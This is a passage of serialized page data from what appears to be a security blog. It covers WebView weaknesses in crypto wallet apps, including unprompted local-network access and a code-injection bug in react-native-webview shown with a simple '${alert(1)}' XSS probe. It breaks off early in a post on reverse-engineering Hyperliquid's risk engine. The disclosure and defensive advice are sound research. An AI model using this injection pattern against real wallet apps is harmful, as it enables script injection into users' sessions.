",{"type":19,"tag":168,"props":155713,"children":155714},{"style":382},[155715],{"type":24,"value":31582},{"type":19,"tag":168,"props":155717,"children":155718},{"style":393},[155719],{"type":24,"value":543},{"type":19,"tag":168,"props":155721,"children":155722},{"style":399},[155723],{"type":24,"value":948},{"type":19,"tag":168,"props":155725,"children":155726},{"style":393},[155727],{"type":24,"value":155728},"longitude",{"type":19,"tag":168,"props":155730,"children":155731},{"style":399},[155732],{"type":24,"value":948},{"type":19,"tag":168,"props":155734,"children":155735},{"style":175},[155736],{"type":24,"value":155686},{"type":19,"tag":168,"props":155738,"children":155739},{"style":399},[155740],{"type":24,"value":500},{"type":19,"tag":168,"props":155742,"children":155743},{"style":192},[155744],{"type":24,"value":1442},{"type":19,"tag":168,"props":155746,"children":155747},{"style":399},[155748],{"type":24,"value":524},{"type":19,"tag":168,"props":155750,"children":155751},{"style":382},[155752],{"type":24,"value":31614},{"type":19,"tag":168,"props":155754,"children":155755},{"style":181},[155756],{"type":24,"value":7825},{"type":19,"tag":168,"props":155758,"children":155759},{"style":399},[155760],{"type":24,"value":412},{"type":19,"tag":168,"props":155762,"children":155763},{"class":170,"line":21250},[155764,155769,155773,155777,155782,155786,155790],{"type":19,"tag":168,"props":155765,"children":155766},{"style":399},[155767],{"type":24,"value":155768}," }, ",{"type":19,"tag":168,"props":155770,"children":155771},{"style":393},[155772],{"type":24,"value":45902},{"type":19,"tag":168,"props":155774,"children":155775},{"style":382},[155776],{"type":24,"value":25221},{"type":19,"tag":168,"props":155778,"children":155779},{"style":175},[155780],{"type":24,"value":155781}," alert",{"type":19,"tag":168,"props":155783,"children":155784},{"style":399},[155785],{"type":24,"value":500},{"type":19,"tag":168,"props":155787,"children":155788},{"style":393},[155789],{"type":24,"value":45902},{"type":19,"tag":168,"props":155791,"children":155792},{"style":399},[155793],{"type":24,"value":4659},{"type":19,"tag":168,"props":155795,"children":155796},{"class":170,"line":21287},[155797],{"type":19,"tag":168,"props":155798,"children":155799},{"style":399},[155800],{"type":24,"value":45556},{"type":19,"tag":168,"props":155802,"children":155803},{"class":170,"line":21300},[155804],{"type":19,"tag":168,"props":155805,"children":155806},{"emptyLinePlaceholder":14},[155807],{"type":24,"value":1093},{"type":19,"tag":168,"props":155809,"children":155810},{"class":170,"line":21313},[155811],{"type":19,"tag":168,"props":155812,"children":155813},{"style":399},[155814],{"type":24,"value":752},{"type":19,"tag":168,"props":155816,"children":155817},{"class":170,"line":21326},[155818,155823],{"type":19,"tag":168,"props":155819,"children":155820},{"style":175},[155821],{"type":24,"value":155822}," main",{"type":19,"tag":168,"props":155824,"children":155825},{"style":399},[155826],{"type":24,"value":1084},{"type":19,"tag":168,"props":155828,"children":155829},{"class":170,"line":21380},[155830,155834,155838],{"type":19,"tag":168,"props":155831,"children":155832},{"style":29848},[155833],{"type":24,"value":30301},{"type":19,"tag":168,"props":155835,"children":155836},{"style":382},[155837],{"type":24,"value":29888},{"type":19,"tag":168,"props":155839,"children":155840},{"style":29848},[155841],{"type":24,"value":3427},{"type":19,"tag":168,"props":155843,"children":155844},{"class":170,"line":21389},[155845,155849,155853],{"type":19,"tag":168,"props":155846,"children":155847},{"style":29848},[155848],{"type":24,"value":29902},{"type":19,"tag":168,"props":155850,"children":155851},{"style":382},[155852],{"type":24,"value":29872},{"type":19,"tag":168,"props":155854,"children":155855},{"style":29848},[155856],{"type":24,"value":3427},{"type":19,"tag":168,"props":155858,"children":155859},{"class":170,"line":29753},[155860,155864,155868],{"type":19,"tag":168,"props":155861,"children":155862},{"style":29848},[155863],{"type":24,"value":29902},{"type":19,"tag":168,"props":155865,"children":155866},{"style":382},[155867],{"type":24,"value":29855},{"type":19,"tag":168,"props":155869,"children":155870},{"style":29848},[155871],{"type":24,"value":3427},{"type":19,"tag":16345,"props":155873,"children":155874},{"id":1657},[155875],{"type":24,"value":1660},{"type":19,"tag":20,"props":155877,"children":155878},{},[155879],{"type":24,"value":155880},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":19,"tag":20,"props":155882,"children":155883},{},[155884,155886,155892],{"type":24,"value":155885},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":19,"tag":269,"props":155887,"children":155890},{"href":155888,"rel":155889},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[273],[155891],{"type":24,"value":45066},{"type":24,"value":948},{"type":19,"tag":28818,"props":155894,"children":155895},{"style":28820},[155896],{"type":19,"tag":1344,"props":155897,"children":155901},{"src":155898,"alt":155899,"style":155900},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":19,"tag":20,"props":155903,"children":155904},{},[155905],{"type":24,"value":155906},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":19,"tag":36,"props":155908,"children":155910},{"id":155909},"local-network-access",[155911],{"type":24,"value":155912},"Local Network Access",{"type":19,"tag":20,"props":155914,"children":155915},{},[155916,155918,155925,155927,155933],{"type":24,"value":155917},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":19,"tag":269,"props":155919,"children":155922},{"href":155920,"rel":155921},"https://wicg.github.io/private-network-access/",[273],[155923],{"type":24,"value":155924},"Private Network Access",{"type":24,"value":155926}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":19,"tag":269,"props":155928,"children":155931},{"href":155929,"rel":155930},"https://x.com/taviso/status/2051310678800253318",[273],[155932],{"type":24,"value":155929},{"type":24,"value":155934},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":19,"tag":28818,"props":155936,"children":155937},{"style":28820},[155938],{"type":19,"tag":1344,"props":155939,"children":155942},{"src":155940,"alt":155899,"style":155941},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":19,"tag":20,"props":155944,"children":155945},{},[155946],{"type":24,"value":155947},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":19,"tag":155949,"props":155950,"children":155953},"zoom-image",{"src":155951,"alt":155952},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":19,"tag":20,"props":155955,"children":155956},{},[155957],{"type":24,"value":155958},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":19,"tag":43,"props":155960,"children":155961},{},[155962,155967,155972],{"type":19,"tag":47,"props":155963,"children":155964},{},[155965],{"type":24,"value":155966},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":19,"tag":47,"props":155968,"children":155969},{},[155970],{"type":24,"value":155971},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":19,"tag":47,"props":155973,"children":155974},{},[155975],{"type":24,"value":155976},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":19,"tag":20,"props":155978,"children":155979},{},[155980],{"type":24,"value":155981},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":19,"tag":36,"props":155983,"children":155985},{"id":155984},"uxss-by-code-injection",[155986],{"type":24,"value":155987},"UXSS by Code Injection",{"type":19,"tag":20,"props":155989,"children":155990},{},[155991,155993,155999],{"type":24,"value":155992},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":19,"tag":27,"props":155994,"children":155996},{"className":155995},[],[155997],{"type":24,"value":155998},"injectJavascriptObject",{"type":24,"value":156000}," attribute worked. Here is the code snippet:",{"type":19,"tag":158,"props":156002,"children":156004},{"className":154240,"code":156003,"language":154242,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[156005],{"type":19,"tag":27,"props":156006,"children":156007},{"__ignoreMap":7},[156008,156028,156057,156091,156146,156251,156263,156276],{"type":19,"tag":168,"props":156009,"children":156010},{"class":170,"line":171},[156011,156015,156019,156024],{"type":19,"tag":168,"props":156012,"children":156013},{"style":382},[156014],{"type":24,"value":68270},{"type":19,"tag":168,"props":156016,"children":156017},{"style":825},[156018],{"type":24,"value":48532},{"type":19,"tag":168,"props":156020,"children":156021},{"style":175},[156022],{"type":24,"value":156023}," injectJavascriptObject",{"type":19,"tag":168,"props":156025,"children":156026},{"style":212},[156027],{"type":24,"value":13184},{"type":19,"tag":168,"props":156029,"children":156030},{"class":170,"line":198},[156031,156035,156039,156044,156048,156053],{"type":19,"tag":168,"props":156032,"children":156033},{"style":419},[156034],{"type":24,"value":36762},{"type":19,"tag":168,"props":156036,"children":156037},{"style":212},[156038],{"type":24,"value":461},{"type":19,"tag":168,"props":156040,"children":156041},{"style":175},[156042],{"type":24,"value":156043},"getSettings",{"type":19,"tag":168,"props":156045,"children":156046},{"style":212},[156047],{"type":24,"value":27639},{"type":19,"tag":168,"props":156049,"children":156050},{"style":175},[156051],{"type":24,"value":156052},"getJavaScriptEnabled",{"type":19,"tag":168,"props":156054,"children":156055},{"style":212},[156056],{"type":24,"value":89509},{"type":19,"tag":168,"props":156058,"children":156059},{"class":170,"line":415},[156060,156065,156070,156074,156079,156083,156087],{"type":19,"tag":168,"props":156061,"children":156062},{"style":825},[156063],{"type":24,"value":156064}," String",{"type":19,"tag":168,"props":156066,"children":156067},{"style":393},[156068],{"type":24,"value":156069}," js",{"type":19,"tag":168,"props":156071,"children":156072},{"style":399},[156073],{"type":24,"value":402},{"type":19,"tag":168,"props":156075,"children":156076},{"style":181},[156077],{"type":24,"value":156078}," \"(function(){",{"type":19,"tag":168,"props":156080,"children":156081},{"style":45855},[156082],{"type":24,"value":45858},{"type":19,"tag":168,"props":156084,"children":156085},{"style":181},[156086],{"type":24,"value":17514},{"type":19,"tag":168,"props":156088,"children":156089},{"style":399},[156090],{"type":24,"value":7230},{"type":19,"tag":168,"props":156092,"children":156093},{"class":170,"line":450},[156094,156099,156103,156108,156112,156117,156121,156125,156129,156134,156138,156142],{"type":19,"tag":168,"props":156095,"children":156096},{"style":181},[156097],{"type":24,"value":156098}," \" window.\"",{"type":19,"tag":168,"props":156100,"children":156101},{"style":399},[156102],{"type":24,"value":6343},{"type":19,"tag":168,"props":156104,"children":156105},{"style":212},[156106],{"type":24,"value":156107}," JAVASCRIPT_INTERFACE ",{"type":19,"tag":168,"props":156109,"children":156110},{"style":399},[156111],{"type":24,"value":1811},{"type":19,"tag":168,"props":156113,"children":156114},{"style":181},[156115],{"type":24,"value":156116}," \" = window.\"",{"type":19,"tag":168,"props":156118,"children":156119},{"style":399},[156120],{"type":24,"value":6343},{"type":19,"tag":168,"props":156122,"children":156123},{"style":212},[156124],{"type":24,"value":156107},{"type":19,"tag":168,"props":156126,"children":156127},{"style":399},[156128],{"type":24,"value":1811},{"type":19,"tag":168,"props":156130,"children":156131},{"style":181},[156132],{"type":24,"value":156133}," \" || {};",{"type":19,"tag":168,"props":156135,"children":156136},{"style":45855},[156137],{"type":24,"value":45858},{"type":19,"tag":168,"props":156139,"children":156140},{"style":181},[156141],{"type":24,"value":17514},{"type":19,"tag":168,"props":156143,"children":156144},{"style":399},[156145],{"type":24,"value":7230},{"type":19,"tag":168,"props":156147,"children":156148},{"class":170,"line":560},[156149,156153,156157,156161,156165,156170,156174,156179,156183,156187,156191,156195,156199,156203,156208,156212,156217,156221,156226,156230,156234,156239,156243,156247],{"type":19,"tag":168,"props":156150,"children":156151},{"style":181},[156152],{"type":24,"value":156098},{"type":19,"tag":168,"props":156154,"children":156155},{"style":399},[156156],{"type":24,"value":6343},{"type":19,"tag":168,"props":156158,"children":156159},{"style":212},[156160],{"type":24,"value":156107},{"type":19,"tag":168,"props":156162,"children":156163},{"style":399},[156164],{"type":24,"value":1811},{"type":19,"tag":168,"props":156166,"children":156167},{"style":181},[156168],{"type":24,"value":156169}," \".injectedObjectJson = function () { return \"",{"type":19,"tag":168,"props":156171,"children":156172},{"style":399},[156173],{"type":24,"value":6343},{"type":19,"tag":168,"props":156175,"children":156176},{"style":212},[156177],{"type":24,"value":156178}," (injectedJavaScriptObject ",{"type":19,"tag":168,"props":156180,"children":156181},{"style":399},[156182],{"type":24,"value":6013},{"type":19,"tag":168,"props":156184,"children":156185},{"style":382},[156186],{"type":24,"value":67756},{"type":19,"tag":168,"props":156188,"children":156189},{"style":419},[156190],{"type":24,"value":95528},{"type":19,"tag":168,"props":156192,"children":156193},{"style":382},[156194],{"type":24,"value":67756},{"type":19,"tag":168,"props":156196,"children":156197},{"style":419},[156198],{"type":24,"value":32590},{"type":19,"tag":168,"props":156200,"children":156201},{"style":212},[156202],{"type":24,"value":461},{"type":19,"tag":168,"props":156204,"children":156205},{"style":181},[156206],{"type":24,"value":156207},"\"`\"",{"type":19,"tag":168,"props":156209,"children":156210},{"style":399},[156211],{"type":24,"value":6343},{"type":19,"tag":168,"props":156213,"children":156214},{"style":212},[156215],{"type":24,"value":156216}," injectedJavaScriptObject ",{"type":19,"tag":168,"props":156218,"children":156219},{"style":399},[156220],{"type":24,"value":1811},{"type":19,"tag":168,"props":156222,"children":156223},{"style":181},[156224],{"type":24,"value":156225}," \"`\"",{"type":19,"tag":168,"props":156227,"children":156228},{"style":212},[156229],{"type":24,"value":6275},{"type":19,"tag":168,"props":156231,"children":156232},{"style":399},[156233],{"type":24,"value":1811},{"type":19,"tag":168,"props":156235,"children":156236},{"style":181},[156237],{"type":24,"value":156238}," \"; };",{"type":19,"tag":168,"props":156240,"children":156241},{"style":45855},[156242],{"type":24,"value":45858},{"type":19,"tag":168,"props":156244,"children":156245},{"style":181},[156246],{"type":24,"value":17514},{"type":19,"tag":168,"props":156248,"children":156249},{"style":399},[156250],{"type":24,"value":7230},{"type":19,"tag":168,"props":156252,"children":156253},{"class":170,"line":666},[156254,156259],{"type":19,"tag":168,"props":156255,"children":156256},{"style":181},[156257],{"type":24,"value":156258}," \"})();\"",{"type":19,"tag":168,"props":156260,"children":156261},{"style":212},[156262],{"type":24,"value":412},{"type":19,"tag":168,"props":156264,"children":156265},{"class":170,"line":694},[156266,156271],{"type":19,"tag":168,"props":156267,"children":156268},{"style":175},[156269],{"type":24,"value":156270}," evaluateJavascriptWithFallback",{"type":19,"tag":168,"props":156272,"children":156273},{"style":212},[156274],{"type":24,"value":156275},"(js);\n",{"type":19,"tag":168,"props":156277,"children":156278},{"class":170,"line":707},[156279],{"type":19,"tag":168,"props":156280,"children":156281},{"style":212},[156282],{"type":24,"value":10109},{"type":19,"tag":20,"props":156284,"children":156285},{},[156286,156288,156294,156296,156301,156303,156309],{"type":24,"value":156287},"It basically injects a javascript code with the ",{"type":19,"tag":27,"props":156289,"children":156291},{"className":156290},[],[156292],{"type":24,"value":156293},"injectedJavascriptObject",{"type":24,"value":156295}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":19,"tag":27,"props":156297,"children":156299},{"className":156298},[],[156300],{"type":24,"value":156293},{"type":24,"value":156302},". If we control a single attribute we can inject a payload like ",{"type":19,"tag":27,"props":156304,"children":156306},{"className":156305},[],[156307],{"type":24,"value":156308},"${alert(1)}",{"type":24,"value":156310}," and achieve XSS in the context of the loaded page.",{"type":19,"tag":20,"props":156312,"children":156313},{},[156314,156316,156323],{"type":24,"value":156315},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":19,"tag":269,"props":156317,"children":156320},{"href":156318,"rel":156319},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[273],[156321],{"type":24,"value":156322},"PR with the report and fix",{"type":24,"value":948},{"type":19,"tag":20,"props":156325,"children":156326},{},[156327],{"type":24,"value":156328},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":19,"tag":20,"props":156330,"children":156331},{},[156332,156334,156340],{"type":24,"value":156333},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":19,"tag":27,"props":156335,"children":156337},{"className":156336},[],[156338],{"type":24,"value":156339},"injectedJavaScriptObject",{"type":24,"value":156341}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":19,"tag":7050,"props":156343,"children":156344},{"id":26402},[156345],{"type":24,"value":16400},{"type":19,"tag":20,"props":156347,"children":156348},{},[156349],{"type":24,"value":156350},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":19,"tag":232,"props":156352,"children":156353},{},[156354],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":156356},[156357,156361,156364,156365],{"id":154080,"depth":198,"text":154083,"children":156358},[156359,156360],{"id":154091,"depth":415,"text":154094},{"id":154166,"depth":415,"text":154169},{"id":154199,"depth":198,"text":154202,"children":156362},[156363],{"id":154389,"depth":415,"text":154392},{"id":155909,"depth":198,"text":155912},{"id":155984,"depth":198,"text":155987,"children":156366},[156367],{"id":26402,"depth":415,"text":16400},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":156372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156373,"description":156374,"date":156375,"author":156376,"image":156377,"isFeatured":14,"onBlogPage":14,"tags":156381,"hideToc":14,"body":156385,"_type":242,"_id":163024,"_source":244,"_file":163025,"_stem":163026,"_extension":247},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":156378,"width":156379,"height":156380},"/posts/hyperliquid-risk-engine/title.png",1456,816,[156382,156383,156384],"hyperliquid","reverse-engineering","defi",{"type":16,"children":156386,"toc":162996},[156387,156393,156401,156406,156411,156416,156428,156433,156446,156465,156471,156483,156496,156501,156532,156537,156550,156555,156746,156752,156757,156769,156775,156780,156786,156799,156833,156838,156843,156855,156861,156881,156889,156902,156908,156919,156925,156937,156942,156948,156968,156976,156982,157016,157020,157056,157061,157066,157071,157084,157121,157126,157140,157146,157151,157177,157185,157190,157218,157223,157228,157566,157571,157576,157596,157623,157628,157641,157653,157658,157663,157669,157674,157679,157693,157698,157704,157732,157769,157780,157784,157789,157794,157800,157966,158001,158006,158012,158018,158207,158220,158225,158231,158252,158257,158263,158268,158273,158285,158290,158295,158301,158306,158311,158317,158323,158336,158369,158374,160950,161218,161223,162553,162558,162563,162575,162666,162678,162683,162689,162694,162702,162707,162715,162721,162755,162766,162774,162780,162786,162791,162799,162804,162809,162817,162829,162835,162840,162846,162857,162862,162868,162873,162878,162884,162889,162892,162897,162902,162908,162913,162925,162930,162935],{"type":19,"tag":36,"props":156388,"children":156390},{"id":156389},"perpetuals",[156391],{"type":24,"value":156392},"Perpetuals",{"type":19,"tag":315,"props":156394,"children":156395},{},[156396],{"type":19,"tag":20,"props":156397,"children":156398},{},[156399],{"type":24,"value":156400},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":19,"tag":20,"props":156402,"children":156403},{},[156404],{"type":24,"value":156405},"What does that even have to do with reverse engineering?",{"type":19,"tag":36,"props":156407,"children":156408},{"id":156382},[156409],{"type":24,"value":156410},"Hyperliquid",{"type":19,"tag":20,"props":156412,"children":156413},{},[156414],{"type":24,"value":156415},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":19,"tag":20,"props":156417,"children":156418},{},[156419,156421,156426],{"type":24,"value":156420},"The node is tasked with a ",{"type":19,"tag":293,"props":156422,"children":156423},{},[156424],{"type":24,"value":156425},"very hard problem",{"type":24,"value":156427},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":19,"tag":20,"props":156429,"children":156430},{},[156431],{"type":24,"value":156432},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":19,"tag":20,"props":156434,"children":156435},{},[156436,156438,156444],{"type":24,"value":156437},"Beyond that, the ",{"type":19,"tag":27,"props":156439,"children":156441},{"className":156440},[],[156442],{"type":24,"value":156443},"hl-node",{"type":24,"value":156445}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":19,"tag":20,"props":156447,"children":156448},{},[156449,156451,156456,156458,156463],{"type":24,"value":156450},"Armed with some curiosity, a good amount of ",{"type":19,"tag":293,"props":156452,"children":156453},{},[156454],{"type":24,"value":156455},"inference",{"type":24,"value":156457},", and the right tooling, we'll take a deep dive using an ",{"type":19,"tag":293,"props":156459,"children":156460},{},[156461],{"type":24,"value":156462},"interactive interface",{"type":24,"value":156464},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":19,"tag":36,"props":156466,"children":156468},{"id":156467},"the-million-dollar-question",[156469],{"type":24,"value":156470},"The Million Dollar Question",{"type":19,"tag":20,"props":156472,"children":156473},{},[156474,156476,156481],{"type":24,"value":156475},"Let's say a terrible trader opens a ",{"type":19,"tag":293,"props":156477,"children":156478},{},[156479],{"type":24,"value":156480},"50x",{"type":24,"value":156482}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":19,"tag":20,"props":156484,"children":156485},{},[156486,156488,156494],{"type":24,"value":156487},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":19,"tag":27,"props":156489,"children":156491},{"className":156490},[],[156492],{"type":24,"value":156493},"compute_margin_requirement_by_mode",{"type":24,"value":156495}," function.",{"type":19,"tag":20,"props":156497,"children":156498},{},[156499],{"type":24,"value":156500},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":19,"tag":156502,"props":156503,"children":156504},"tip",{},[156505],{"type":19,"tag":20,"props":156506,"children":156507},{},[156508,156510,156515,156517,156524,156526,156531],{"type":24,"value":156509},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":19,"tag":293,"props":156511,"children":156512},{},[156513],{"type":24,"value":156514},"click through",{"type":24,"value":156516}," each action performed by ",{"type":19,"tag":269,"props":156518,"children":156521},{"href":156519,"rel":156520},"https://github.com/renato-osec/patina-research",[273],[156522],{"type":24,"value":156523},"our Rust reverse engineering agent",{"type":24,"value":156525},". Return to the regular view by clicking ",{"type":19,"tag":27,"props":156527,"children":156529},{"className":156528},[],[156530],{"type":24,"value":3422},{"type":24,"value":948},{"type":19,"tag":156533,"props":156534,"children":156536},"bndb-viewer-embed",{"addr":156535,"line-start":1442,"line-end":132041},"0x555556bb4d20",[],{"type":19,"tag":20,"props":156538,"children":156539},{},[156540,156542,156548],{"type":24,"value":156541},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":19,"tag":27,"props":156543,"children":156545},{"className":156544},[],[156546],{"type":24,"value":156547},"OptionUnitQty",{"type":24,"value":156549},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":19,"tag":20,"props":156551,"children":156552},{},[156553],{"type":24,"value":156554},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":19,"tag":158,"props":156556,"children":156557},{},[156558],{"type":19,"tag":27,"props":156559,"children":156562},{"className":156560},[1411,156561],"math-display",[156563],{"type":19,"tag":168,"props":156564,"children":156567},{"className":156565},[156566],"katex-display",[156568],{"type":19,"tag":168,"props":156569,"children":156571},{"className":156570},[1417],[156572],{"type":19,"tag":168,"props":156573,"children":156575},{"className":156574,"ariaHidden":1423},[1422],[156576,156607],{"type":19,"tag":168,"props":156577,"children":156579},{"className":156578},[1428],[156580,156584,156594,156598,156603],{"type":19,"tag":168,"props":156581,"children":156583},{"className":156582,"style":91948},[1433],[],{"type":19,"tag":168,"props":156585,"children":156587},{"className":156586},[1439,24],[156588],{"type":19,"tag":168,"props":156589,"children":156591},{"className":156590},[1439],[156592],{"type":24,"value":156593},"liq_equity",{"type":19,"tag":168,"props":156595,"children":156597},{"className":156596,"style":1618},[1520],[],{"type":19,"tag":168,"props":156599,"children":156601},{"className":156600},[1623],[156602],{"type":24,"value":486},{"type":19,"tag":168,"props":156604,"children":156606},{"className":156605,"style":1618},[1520],[],{"type":19,"tag":168,"props":156608,"children":156610},{"className":156609},[1428],[156611,156616],{"type":19,"tag":168,"props":156612,"children":156615},{"className":156613,"style":156614},[1433],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":19,"tag":168,"props":156617,"children":156619},{"className":156618},[1439],[156620,156624,156742],{"type":19,"tag":168,"props":156621,"children":156623},{"className":156622},[19172,111052],[],{"type":19,"tag":168,"props":156625,"children":156627},{"className":156626},[111057],[156628],{"type":19,"tag":168,"props":156629,"children":156631},{"className":156630},[1461,19097],[156632,156730],{"type":19,"tag":168,"props":156633,"children":156635},{"className":156634},[1466],[156636,156725],{"type":19,"tag":168,"props":156637,"children":156640},{"className":156638,"style":156639},[1471],"height:1.427em;",[156641,156681,156692],{"type":19,"tag":168,"props":156642,"children":156644},{"style":156643},"top:-2.314em;",[156645,156649],{"type":19,"tag":168,"props":156646,"children":156648},{"className":156647,"style":109705},[1480],[],{"type":19,"tag":168,"props":156650,"children":156652},{"className":156651},[1439],[156653,156658,156662,156667,156671],{"type":19,"tag":168,"props":156654,"children":156656},{"className":156655},[1439],[156657],{"type":24,"value":519},{"type":19,"tag":168,"props":156659,"children":156661},{"className":156660,"style":1521},[1520],[],{"type":19,"tag":168,"props":156663,"children":156665},{"className":156664},[1526],[156666],{"type":24,"value":108796},{"type":19,"tag":168,"props":156668,"children":156670},{"className":156669,"style":1521},[1520],[],{"type":19,"tag":168,"props":156672,"children":156674},{"className":156673},[1439,24],[156675],{"type":19,"tag":168,"props":156676,"children":156678},{"className":156677},[1439],[156679],{"type":24,"value":156680},"leverage",{"type":19,"tag":168,"props":156682,"children":156683},{"style":111107},[156684,156688],{"type":19,"tag":168,"props":156685,"children":156687},{"className":156686,"style":109705},[1480],[],{"type":19,"tag":168,"props":156689,"children":156691},{"className":156690,"style":111117},[111116],[],{"type":19,"tag":168,"props":156693,"children":156695},{"style":156694},"top:-3.677em;",[156696,156700],{"type":19,"tag":168,"props":156697,"children":156699},{"className":156698,"style":109705},[1480],[],{"type":19,"tag":168,"props":156701,"children":156703},{"className":156702},[1439],[156704,156710,156720],{"type":19,"tag":168,"props":156705,"children":156707},{"className":156706},[1439],[156708],{"type":24,"value":156709},"∣",{"type":19,"tag":168,"props":156711,"children":156713},{"className":156712},[1439,24],[156714],{"type":19,"tag":168,"props":156715,"children":156717},{"className":156716},[1439],[156718],{"type":24,"value":156719},"notional",{"type":19,"tag":168,"props":156721,"children":156723},{"className":156722},[1439],[156724],{"type":24,"value":156709},{"type":19,"tag":168,"props":156726,"children":156728},{"className":156727},[19200],[156729],{"type":24,"value":19203},{"type":19,"tag":168,"props":156731,"children":156733},{"className":156732},[1466],[156734],{"type":19,"tag":168,"props":156735,"children":156738},{"className":156736,"style":156737},[1471],"height:0.8804em;",[156739],{"type":19,"tag":168,"props":156740,"children":156741},{},[],{"type":19,"tag":168,"props":156743,"children":156745},{"className":156744},[19194,111052],[],{"type":19,"tag":36,"props":156747,"children":156749},{"id":156748},"what-if-nobody-wants-to-buy-the-position",[156750],{"type":24,"value":156751},"What If Nobody Wants to Buy the Position?",{"type":19,"tag":20,"props":156753,"children":156754},{},[156755],{"type":24,"value":156756},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":19,"tag":20,"props":156758,"children":156759},{},[156760,156762,156767],{"type":24,"value":156761},"When that happens, the exchange is basically left with a 